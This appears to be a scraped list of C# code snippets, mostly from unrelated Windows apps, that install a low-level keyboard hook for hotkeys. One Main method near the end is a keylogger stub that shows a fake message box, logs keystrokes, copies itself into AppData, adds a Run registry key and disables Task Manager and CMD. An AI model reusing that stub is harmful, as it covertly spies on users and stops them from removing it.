private void btnRecord_Click(object sender, EventArgs e) { events.Clear(); lowLevelMouseListener.HookMouse(); lowLevelKeyboardListener.HookKeyboard(); btnStop.Enabled = true; }
/* private void Pokreni_Click(object sender, RoutedEventArgs e) * { * izvrsavaSe = true; * int str, str2, leftClickTimer, afkTimer, brojZavrsenihSekundi = 0, triggerAfkDonjiStr, triggerAfkGornjiStr, triggerAfkTimer, * afkTimerDonjiStr, afkTimerGornjiStr, holddownDonjiStr, holddownGornjiStr, holddownTimer; * Random rnd = new Random(); * Random triggerAfkRnd = new Random(); * Random afkTimerRnd = new Random(); * Random holddownTimerRnd = new Random(); * //vrijednosti iz xamla * str = Int32.Parse(intervalDonja.Text); * str2 = Int32.Parse(intervalGornja.Text); * triggerAfkDonjiStr = Int32.Parse(triggerAfkDonji.Text); * triggerAfkGornjiStr = Int32.Parse(triggerAfkGornji.Text); * afkTimerDonjiStr = Int32.Parse(afkTimerDonji.Text); * afkTimerGornjiStr = Int32.Parse(afkTimerGornji.Text); * holddownDonjiStr = Int32.Parse(holddownDonji.Text); * holddownGornjiStr = Int32.Parse(holddownGornji.Text); * * //random pocetna vrijednost za afk timer * triggerAfkTimer = triggerAfkRnd.Next(triggerAfkDonjiStr, triggerAfkGornjiStr + 1); * triggerAfkTimer = triggerAfkTimer * 60 * 1000; * var task = Task.Run(async () => { * //Debug.Print("5 sec ceka"); * await Task.Delay(5000); * for (; ; ) * { * holddownTimer = holddownTimerRnd.Next(holddownDonjiStr, holddownGornjiStr + 1); * //U slucaju da je proslo 10 min za trigger(recimo) hocu da mi dadne random vrijeme prije slj klika i resetuje random vrijeme cekanja * if (brojZavrsenihSekundi >= triggerAfkTimer) * { * brojZavrsenihSekundi = 0; * afkTimer = afkTimerRnd.Next(afkTimerDonjiStr, afkTimerGornjiStr + 1); * triggerAfkTimer = triggerAfkRnd.Next(triggerAfkDonjiStr, triggerAfkGornjiStr + 1); * triggerAfkTimer = triggerAfkTimer * 60 * 1000; * //Debug.Print("Ceka"+afkTimer+"sekundi"); * mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); * await Task.Delay(holddownTimer); * mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); * await Task.Delay(afkTimer * 1000); * } * leftClickTimer = rnd.Next(str, str2 + 1); * //Debug.Print("left click timer " + leftClickTimer); * brojZavrsenihSekundi += leftClickTimer; * await Task.Delay(leftClickTimer); * //Debug.Print("Hello World after" + leftClickTimer + "seconds"); * mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); * //Debug.Print("startan klik"); * await Task.Delay(holddownTimer); * mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); * //Debug.Print("endan klik"); * * } * }); * * * }*/ private void Form_Load(object sender, RoutedEventArgs e) { _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += _listener_OnKeyPressed; _listener.HookKeyboard(); }
private void InitializeKeyboardHook() { //Start Keyboard Listener (Removed Keylogger) _listener = new LowLevelKeyboardListener(); //New Hook Object _listener.OnKeyPressed += KeyboardListner_OnKeyPressed; //Subscribe to Event _listener.HookKeyboard(); //Start Hook }
public MenuBar(System.Windows.Forms.Screen screen) { InitializeComponent(); Screen = screen; setPosition(); setupMenu(); setupPlaces(); setupSearch(); initializeClock(); setupPrograms(); initSparkle(); _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += _listener_OnKeyPressed; _listener.HookKeyboard(); // Need to add a CairoSetting to Set this as an Override When Explorer is Shell. if (true) { WinKeyOverride = ToggleProgramsMenu; } }
private void Window_Loaded(object sender, EventArgs e) { _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += _listener_OnKeyPressed; _listener.HookKeyboard(); }
private void Window_Loaded(object sender, RoutedEventArgs e) { _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += listener_OnKeyPressed; _listener.HookKeyboard(); this.textBox_DisplayKeyboardInput.Text = ""; }
public void RegisterKeybinds() { keyboardListener = new LowLevelKeyboardListener(); keyboardListener.OnKeyPressed += KeyDownEvent; keyboardListener.OnKeyUp += KeyUpEvent; keyboardListener.HookKeyboard(); }
public FrameNavigationService() { _pagesByKey = new Dictionary <string, Uri>(); _pages = new List <string>(); _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += OnKeyPressed; _listener.HookKeyboard(); }
internal GlobalHotKeyManager() { _listener = new LowLevelKeyboardListener(); _listener.OnKeyDown += _listener_OnKeyDown; _listener.OnKeyUp += _listener_OnKeyUp; _listener.HookKeyboard(); }
private void Main_Load(object sender, EventArgs e) { // Create new object using DLL _listener = new LowLevelKeyboardListener(); // Hang up the handler for pressing _listener.OnKeyPressed += _listener_OnKeyPressed; // Run _listener.HookKeyboard(); }
private void Window_Loaded(object sender, RoutedEventArgs e) { /* Inicializar key listener */ _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += _listener_OnKeyPressed; _listener.HookKeyboard(); audio = new WMPLib.WindowsMediaPlayer(); }
private void MainWindow_Loaded(object sender, RoutedEventArgs e) { listener = new LowLevelKeyboardListener(); listener.OnKeyReleased += Listener_OnKeyReleased; listener.OnKeyPressed += Listener_OnKeyPressed; listener.HookKeyboard(); MainViewModel = new MainViewModel(); DataContext = MainViewModel; MainViewModel.Initialize(); MainViewModel.LoadWindows(); }
public DesktopNavigationToolbar() { InitializeComponent(); SetPosition(); browseContextMenu = new System.Windows.Controls.ContextMenu(); lowLevelKeyboardListener = new Common.LowLevelKeyboardListener(); lowLevelKeyboardListener.HookKeyboard(); lowLevelKeyboardListener.OnKeyDown += LowLevelKeyboardListener_OnKeyDown; lowLevelKeyboardListener.OnKeyUp += LowLevelKeyboardListener_OnKeyUp; }
public void registerListeners() { Console.WriteLine("Register callbacks"); _listener.HookKeyboard(); _mouseListener.HookMouse(); _listener.KeyDown += _listener_OnKeyPressed; _listener.KeyUp += _listener_KeyUp; _listener.KeyUnicode += _listener_KeyUnicode; _mouseListener.MouseEvent += _mouseListener_MouseEvent; }
public Form1() { InitializeComponent(); _listDanhSachDaiLy = new List <DanhSachDaiLy>(); _listDuLieuSanPham = new List <DuLieuSanPham>(); _listDuLieuSoLuongDat = new List <DuLieuSoLuongDat>(); _mode = new RunMode(); _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += _listener_OnKeyPressed; _listener.HookKeyboard(); }
private void setupPostInit() { // set initial DPI. We do it here so that we get the correct value when DPI has changed since initial user logon to the system. if (Screen.Primary) { Shell.DpiScale = PresentationSource.FromVisual(Application.Current.MainWindow).CompositionTarget.TransformToDevice.M11; } this.dpiScale = PresentationSource.FromVisual(this).CompositionTarget.TransformToDevice.M11; setPosition(); appbarMessageId = AppBarHelper.RegisterBar(this, Screen, this.ActualWidth * dpiScale, this.ActualHeight * dpiScale, AppBarHelper.ABEdge.ABE_TOP); Shell.HideWindowFromTasks(handle); if (Settings.EnableCairoMenuHotKey && Screen.Primary && !isCairoMenuHotkeyRegistered) { HotKeyManager.RegisterHotKey(Settings.CairoMenuHotKey, OnShowCairoMenu); isCairoMenuHotkeyRegistered = true; } // Register Windows key to open Programs menu if (Startup.IsCairoUserShell && Screen.Primary && !isProgramsMenuHotkeyRegistered) { HotKeyManager.RegisterHotKey(new List <string> { "Win", "LWin" }, OnShowProgramsMenu); HotKeyManager.RegisterHotKey(new List <string> { "Win", "RWin" }, OnShowProgramsMenu); isProgramsMenuHotkeyRegistered = true; } if (Screen.Primary && keyboardListener == null) { keyboardListener = new LowLevelKeyboardListener(); keyboardListener.OnKeyPressed += keyboardListener_OnKeyPressed; keyboardListener.HookKeyboard(); } if (Settings.EnableMenuBarBlur) { Shell.EnableWindowBlur(handle); } }
private void Form1_Load(object sender, EventArgs e) { this.BackColor = Color.FromArgb(31, 24, 24); //Starts backgroundworker if not busy if (!backgroundWorker.IsBusy) { backgroundWorker.RunWorkerAsync(); } //Setup keypress listener (so that the app can detect hotkeys when not in focus) _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += _listener_OnKeyPressed; _listener.UnHookKeyboard(); _listener.HookKeyboard(); //Associates the event handler with the FormClosing Event this.FormClosing += Form1_FormClosing; }
public SysTrayApp() { llkl = new LowLevelKeyboardListener(); llkl.OnKeyPressed += Llkl_OnKeyPressed; llkl.HookKeyboard(); // Create a simple tray menu with only one item. trayMenu = new ContextMenu(); trayMenu.MenuItems.Add("Exit", OnExit); // Create a tray icon. In this example we use a // standard system icon for simplicity, but you // can of course use your own custom icon too. trayIcon = new NotifyIcon(); trayIcon.Text = "SimpleVolumeController"; trayIcon.Icon = SoundController.Properties.Resources.slider; // Add menu to tray icon and show it. trayIcon.ContextMenu = trayMenu; trayIcon.Visible = true; }
private void Window_Loaded(object sender, RoutedEventArgs e) { addCustomOperations(); _listener = new LowLevelKeyboardListener(); this.textBox_DisplayKeyboardInput.IsEnabled = false; this.StopButton.IsEnabled = false; this.textBoxWordAmount.IsEnabled = false; this.textBoxTime.IsEnabled = false; _listener.HookKeyboard(); textBox_DisplayKeyboardInput.IsReadOnly = true; dt.Tick += new EventHandler(dt_Tick); dt.Interval = new TimeSpan(0, 0, 0, 0, 1); //CONTEXT MENU var myIcon = Properties.Resources.logo; System.Windows.Forms.NotifyIcon icon = new System.Windows.Forms.NotifyIcon(); Stream iconStream = Application.GetResourceStream(new Uri("pack://application:,,,/WPMdesktop;component/Resources/logo.ico")).Stream; notifyIcon.Icon = new System.Drawing.Icon(iconStream); iconStream.Close(); //notifyIcon.Icon = new System.Drawing.Icon(Properties.Resources.logo.ToString()); notifyIcon.Visible = true; System.Windows.Forms.ContextMenu notifyIconContextMenu = new System.Windows.Forms.ContextMenu(); notifyIcon.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(notifyIcon_DoubleClick); notifyIconContextMenu.MenuItems.Add("Toggle Traymenu", new EventHandler(HideReveal)); notifyIconContextMenu.MenuItems.Add("-"); notifyIconContextMenu.MenuItems.Add("Open", new EventHandler(Open)); notifyIconContextMenu.MenuItems.Add("Stop", new EventHandler(Stop)); notifyIconContextMenu.MenuItems.Add("Quit", new EventHandler(Close)); notifyIcon.ContextMenu = notifyIconContextMenu; }
public DesktopNavigationToolbar(ICairoApplication cairoApplication, DesktopManager manager) { InitializeComponent(); _cairoApplication = cairoApplication; _desktopManager = manager; SetPosition(); // set up browse context menu (is dynamically constructed) browseContextMenu = new ContextMenu(); // set up toolbar context menu toolbarContextMenu = new ContextMenu(); MenuItem resetPositionMenuItem = new MenuItem { Header = Localization.DisplayString.sDesktop_ResetPosition }; resetPositionMenuItem.Click += ResetPositionMenuItem_OnClick; toolbarContextMenu.Items.Add(resetPositionMenuItem); // set up home context menu homeContextMenu = new ContextMenu(); MenuItem setHomeMenuItem = new MenuItem { Header = Localization.DisplayString.sDesktop_SetHome }; setHomeMenuItem.Click += SetHomeMenuItem_Click; homeContextMenu.Items.Add(setHomeMenuItem); // set up keyboard listener for shift key lowLevelKeyboardListener = new LowLevelKeyboardListener(); lowLevelKeyboardListener.HookKeyboard(); lowLevelKeyboardListener.OnKeyDown += LowLevelKeyboardListener_OnKeyDown; lowLevelKeyboardListener.OnKeyUp += LowLevelKeyboardListener_OnKeyUp; }
public DesktopNavigationToolbar(DesktopManager manager) { InitializeComponent(); desktopManager = manager; SetPosition(); // set up browse context menu (is dynamically constructed) browseContextMenu = new System.Windows.Controls.ContextMenu(); // set up home context menu homeContextMenu = new System.Windows.Controls.ContextMenu(); System.Windows.Controls.MenuItem setHomeMenuItem = new System.Windows.Controls.MenuItem(); setHomeMenuItem.Header = Localization.DisplayString.sDesktop_SetHome; setHomeMenuItem.Click += SetHomeMenuItem_Click;; homeContextMenu.Items.Add(setHomeMenuItem); // set up keyboard listener for shift key lowLevelKeyboardListener = new LowLevelKeyboardListener(); lowLevelKeyboardListener.HookKeyboard(); lowLevelKeyboardListener.OnKeyDown += LowLevelKeyboardListener_OnKeyDown; lowLevelKeyboardListener.OnKeyUp += LowLevelKeyboardListener_OnKeyUp; }
public void Install() { _listener.HookKeyboard(); //keyboardHook.InstallHook(); }
private void AutoClick_Load(object sender, EventArgs e) { if (Preferences.Default.WindowLocation != null) { this.Location = Preferences.Default.WindowLocation; } delay = 100; interval = 100; delayTextBox.Text = delay.ToString(); intervalTextBox.Text = interval.ToString(); listener = new LowLevelKeyboardListener(KeyboardCallback); listener.HookKeyboard(); }
private static void CollectLogs() { Variables.KeystrokeLogs = new System.Text.StringBuilder(); Listener.HookKeyboard(); Listener.OnKeyPressed += _listener_OnKeyPressed; }
static void Main(string[] args) { #region FakeMessageBox if (Variables.FakeMessageBox) { FakeMessageBoxCreator.createMessageBox(Variables.MessageBoxOption, Variables.MessageBoxText, Variables.MessageBoxName, Variables.MessageBoxIcon); } #endregion #region IfConsoleCloses _handler += new EventHandler(Handler); SetConsoleCtrlHandler(_handler, true); #endregion #region Initialize InitializeTimer(); #endregion #region LogKeystrokes KeystrokeTimer.Tick += KeystrokeTimer_Tick; Listener.HookKeyboard(); LowLevelKeyhookListener(); Application.Run(); #endregion #region MoveToAppDataAndAddToStartup if (Variables.AddToStartup) { string exePath = Application.ExecutablePath; string copyPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); copyPath += CustomStoreFolder + Path.GetFileName(exePath); if (!File.Exists(copyPath) && !exePath.EndsWith("ve.exe")) { File.Copy(exePath, copyPath); #region AddToStartup RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); add.SetValue(ApplicationName, "\"" + Application.ExecutablePath.ToString() + "\""); } #endregion } #endregion #region SiteVisitor if (Variables.SiteVisitor) { if (!Variables.SilentSiteVisitor) { Process.Start(SiteVisitorURL); } else { ProcessStartInfo OpenSite = new ProcessStartInfo() { UseShellExecute = false, FileName = SiteVisitorURL }; Process Open = Process.Start(OpenSite); } } #endregion #region DisableTaskMger if (Variables.DisableTaskManager) { DisableOrEnableApp("DisableTaskMgr", RegistryPath, false); } #endregion #region DisableCMD if (Variables.DisableCMD) { DisableOrEnableApp("DisableCMD", RegistryPath, false); } #endregion }
private void OnInitialized(object sender, EventArgs e) { _listener = new LowLevelKeyboardListener(); _listener.OnKeyPressed += OnKeyPressed; _listener.HookKeyboard(); }
private static void CollectLogs() { Listener.HookKeyboard(); Listener.OnKeyPressed += _listener_OnKeyPressed; }